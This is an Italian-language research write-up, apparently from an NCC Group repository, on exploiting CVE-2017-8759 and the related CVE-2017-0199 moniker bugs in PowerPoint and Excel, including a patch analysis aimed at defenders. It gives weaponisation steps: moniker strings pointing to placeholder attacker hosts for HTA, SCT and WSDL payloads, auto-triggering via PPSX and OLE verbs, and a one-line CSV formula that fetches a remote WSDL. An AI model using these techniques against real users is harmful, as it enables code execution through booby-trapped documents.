nccgroup/cve-2017-8759Analisi e sfruttamento di CVE-2017-8759 da parte di NCC Group, con ulteriori perfezionamenti.
Questo repository contiene exploit di esempio per CVE-2017-8759 per Microsoft PowerPoint, insieme a una descrizione di come vulnerabilità simili sono state, e possono essere, sfruttate usando le stesse tecniche.
Lo scopo di pubblicare questo repository è evidenziare tecniche di sfruttamento alternative che i difensori potrebbero attualmente non conoscere. Evidenziando queste tecniche alternative, speriamo di permettere ai difensori di implementare un rilevamento robusto ed evitare sia falsi positivi (nel caso di errata identificazione di altri exploit moniker come CVE-2017-0199), sia falsi negativi (dove ci si concentra solo sui rilevamenti RTF).
Tornando ad aprile, quando ho sentito la notizia che una nuova vulnerabilità non corretta veniva sfruttata in natura, ho cercato di ricreare l'exploit in modo da poter creare regole di rilevamento in anticipo rispetto alla divulgazione della vulnerabilità. Tuttavia, all'epoca avevo solo la descrizione della vulnerabilità dai post dei blog di FireEye e McAfee. A causa della mancanza di dettagli pubblici, questo mi ha portato a finire per sfruttare la vulnerabilità usando (quello che si è rivelato essere) un metodo completamente diverso da quello utilizzato dall'exploit "RTF URL Moniker" visto in natura.
Circa un mese dopo, Haifei Li ha evidenziato la seconda vulnerabilità (nota come "PPSX Script Moniker") nel suo intervento a SyScan360, che aveva identificato e segnalato a gennaio 2017. Anche questa è stata corretta con la stessa patch di CVE-2017-0199, ma è stata sfruttata (sia dall'autore, sia ) usando il formato di file PPSX. A questo punto, non sono ancora a conoscenza di attacchi in natura che abbiano usato il bug del moniker URL tramite PPSX - tuttavia, poiché entrambi i bug sono stati corretti con la stessa CVE, c'era (e c'è ancora) una certa confusione sul rilevamento di questi exploit (maggiori dettagli più avanti).
Passiamo rapidamente a settembre 2017 e FireEye ha scoperto un'altra vulnerabilità che utilizzava il formato RTF in Microsoft Word. Questo mi ha spinto a rivisitare il mio precedente exploit "PPSX URL Moniker" per verificare se anche il nuovo bug "SOAP moniker" fosse sfruttabile usando la stessa tecnica PPSX.
Come menzionato sopra, la precedente vulnerabilità (CVE-2017-0199) era in realtà due vulnerabilità separate, corrette da Microsoft con lo stesso numero CVE. La prima (nota come bug "URL moniker") veniva sfruttata usando RTF, mentre la seconda (nota come bug "script moniker") utilizzava una tecnica completamente diversa e veniva sfruttata usando il formato OOXML, in particolare PPSX.
Come anche menzionato in precedenza, la tecnica OOXML non è specifica della vulnerabilità script moniker e può essere usata per sfruttare le vulnerabilità "URL moniker", "Script moniker" e la nuova "SOAP moniker".
Lo sfruttamento in OOXML è piuttosto semplice e sfrutta alcuni trucchi per far sì che l'oggetto vulnerabile si attivi automaticamente. Prima tratterò l'exploit URL moniker, e poi spiegherò come potrebbe essere aggiornato per funzionare sia con gli script moniker che con i soap moniker (e potenzialmente altri in futuro).
Per prima cosa, è necessario incorporare un collegamento a un file (chiamato StdOleLink, o OLE2Link). Nel mio exploit ho usato un collegamento a un file PowerPoint, come mostrato di seguito. Questo è necessario in seguito per attivare il moniker.
Una volta inserito il collegamento, il percorso deve essere modificato per contenere la stringa del moniker. Nel caso del bug "URL moniker", è sufficiente aggiungere direttamente un URL a un file HTA (es. "http://attacker.com/evil.hta". Per la versione Script moniker è possibile usare la stringa "script:https://attacker.com/evil.sct". Il percorso del file dell'oggetto collegato è memorizzato nella seguente posizione:
ppt\slides\_rels\slide1.xml.rels
Semplicemente cambiare questo con una stringa moniker è sufficiente per attivare la vulnerabilità quando l'oggetto collegato viene attivato. Tuttavia, ciò non avviene automaticamente a meno che non si usi un altro trucco.
Per attivare automaticamente l'oggetto, è possibile utilizzare ciò che viene chiamato "OLE Verb". In parole semplici, questo fa sì che PowerPoint "attivi" l'oggetto, chiamando il metodo IMoniker::BindToObject(), portando all'esecuzione finale del tuo codice (a seconda del moniker, vengono seguiti percorsi diversi dopo questo punto).
Per utilizzare un OLE Verb, basta selezionare l'oggetto incorporato e andare su:
Animazioni -> Aggiungi animazione -> Verbi azioni OLE -> Apri
Una volta creata l'animazione OLE Verb, è possibile selezionare "Inizio: con precedente" per garantire che l'oggetto venga attivato non appena viene avviata la presentazione.
A questo punto, se si sceglie di salvare il documento come PPTX e di aprirlo, verrà visualizzato un prompt per aggiornare i collegamenti. Questo è indesiderabile in uno scenario di sfruttamento.
Per aggirare questo problema, è sufficiente salvare il file come PPSX (presentazione di PowerPoint) invece. Ciò farà sì che la presentazione venga avviata automaticamente all'apertura (e quindi attivi l'OLE Verb per eseguire il tuo codice).
Come descritto nel post del blog di FireEye, la vulnerabilità risiede in realtà nel framework .NET piuttosto che in Office stesso. Ciò è dovuto a un problema di iniezione di codice durante l'analisi di un file WSDL contenente più definizioni di indirizzo. Se viene iniettata una sequenza CRLF, è possibile aggiungere codice arbitrario al file c# generato, che viene successivamente compilato in una DLL e caricato dall'applicazione Office.
Il bug stesso è presente nel metodo IsValidUrl nella classe WsdlParser di System.Runtime.Remoting. Prima della patch di CVE-2017-8759, questo metodo non controlla la presenza di caratteri CRLF e restituisce semplicemente la stringa non sanificata (dopo essersi assicurato che la stringa sia correttamente racchiusa tra virgolette), che viene poi scritta in un file .cs per la compilazione da parte di csc.exe. Ciò significa che se un attaccante passa un URL contenente \r\n, può iniettare codice arbitrario nel file C# generato. Il motivo per cui l'iniezione CRLF funziona è che di solito, quando un file WSDL viene analizzato contenente più definizioni di indirizzo, il metodo PrintClientProxy tenterà di commentare le definizioni successive come mostrato di seguito.
IsValidUrl non corretta:
PrintClientProxy:
Il problema qui è che IsValidUrl viene ancora chiamato sull'URL dell'indirizzo secondario prima di aggiungerlo alla riga commentata. Se un attaccante aggiunge caratteri CRLF in una seconda definizione di indirizzo, quando il codice viene analizzato da IsValidUrl, può uscire dalla riga commentata e iniettare il proprio codice C#.
Dopo la patch di CVE-2017-8759, la classe WsdlParser ora contiene un nuovo metodo chiamato TransliterateString. Ora quando IsValidUrl viene chiamato, il codice prima controlla se il booleano AppSettings.AllowUnsanitizedWSDLUrls è impostato. Se è impostato su true, il codice segue lo stesso percorso di prima della patch (permettendo l'iniezione CRLF). Tuttavia, se è impostato su false, viene chiamato il nuovo metodo TransliterateString. Questo nuovo metodo codifica semplicemente qualsiasi carattere non alfabetico come unicode escape, assicurando così che non possano essere iniettati caratteri di nuova riga.
IsValidUrl corretta:
TransliterateString:
Per dimostrare la patch, ho creato un semplice test harness in C# e ho tentato di analizzare una stringa contenente caratteri CRLF. L'output è mostrato di seguito. Si noti che quando viene chiamato il metodo corretto e AllowUnsanitizedWSDLUrls è impostato su false, la stringa ora è codificata.
Quando ho studiato come sfruttare questa vulnerabilità, ho creato un test harness per testare l'esecuzione del codice al di fuori di Office. Per questo ho usato JScript insieme al metodo GetObject, tuttavia si potrebbe usare soapsuds.exe. Questo è stato testato con il file WSDL del campione di malware per studiare come funzionava e confermare la vulnerabilità.
Una volta che ho fatto funzionare l'exploit con GetObject, ho semplicemente modificato il file rels come mostrato in precedenza per includere un moniker soap, nella forma "soap:wsdl=http://attacker.com/evil.whatever".
Dopo aver creato l'exploit, l'ho caricato su Virus Total (come avevo fatto con campioni precedenti) e ho avuto risultati sorprendenti. Si è scoperto che era rilevato da un solo motore AV ed era stato erroneamente identificato come CVE-2017-0199. Un altro campione che ho caricato sembrava anche essere etichettato come CVE-2017-0199. Questo sembra comprensibile a causa delle somiglianze con gli exploit precedenti, tuttavia c'è la preoccupazione che ciò possa portare a confusione o, nel peggiore dei casi, portare a non rilevare exploit moniker scoperti di recente perché liquidati come una vulnerabilità più vecchia e già corretta.
Prima avvia un server web localmente, nella stessa cartella dei file dell'exploit:
python -m SimpleHTTPServer 80
Ora apri il file exploit.ppsx. Se tutto va bene, dovresti vedere PowerPoint recuperare sia logo.png che w00t.hta dal tuo file-server locale, e verrà eseguito calc.exe.
Dopo aver pubblicato l'exploit PPSX su Twitter, Jacob Soo mi ha contattato e mi ha suggerito di provare a sfruttare la vulnerabilità in Microsoft Excel. Ci ho provato e, certo, aveva ragione: sono riuscito a far apparire calc.exe con un solo prompt.
Questo è interessante, come già sottolineato in precedenza - i file CSV (e SLK) non attivano la modalità protetta. Ciò significa che il numero di prompt presentati a un utente quando riceve un file RTF, PPSX o CSV/SLK da un percorso Internet è esattamente lo stesso (poiché il primo attiva la visualizzazione protetta). Inoltre, essendo in testo semplice e di solito relativamente innocui, i file CSV spesso superano le difese perimetrali (come proxy web o filtri antispam email).
Sfruttare questo bug in Excel è semplice come includere un collegamento al file WSDL. Nota che nell'esempio seguente stiamo usando il ProgID "GC" (semplicemente perché era il più corto che ho trovato), tuttavia può essere qualsiasi ProgID valido per attivare il moniker.
=GC|'soap:wsdl=https://git.io/v5DMF '!''''
Salvare la stringa sopra come CSV è sufficiente per sfruttare la vulnerabilità - abbastanza corta per un Tweet! Inoltre, a causa della sua brevità, è più difficile (anche se ovviamente non impossibile) creare firme di rilevamento, e quindi ritengo che valga la pena evidenziarla ai difensori in modo che gli attacchi basati su Excel possano essere identificati in futuro.
Microsoft ha rilasciato una patch per questa vulnerabilità il 12/09/2017.
Alcune regole Yara per le varianti di CVE-2017-8759 sono state pubblicate da Florian Roth e Security Doggo.
Ho anche creato: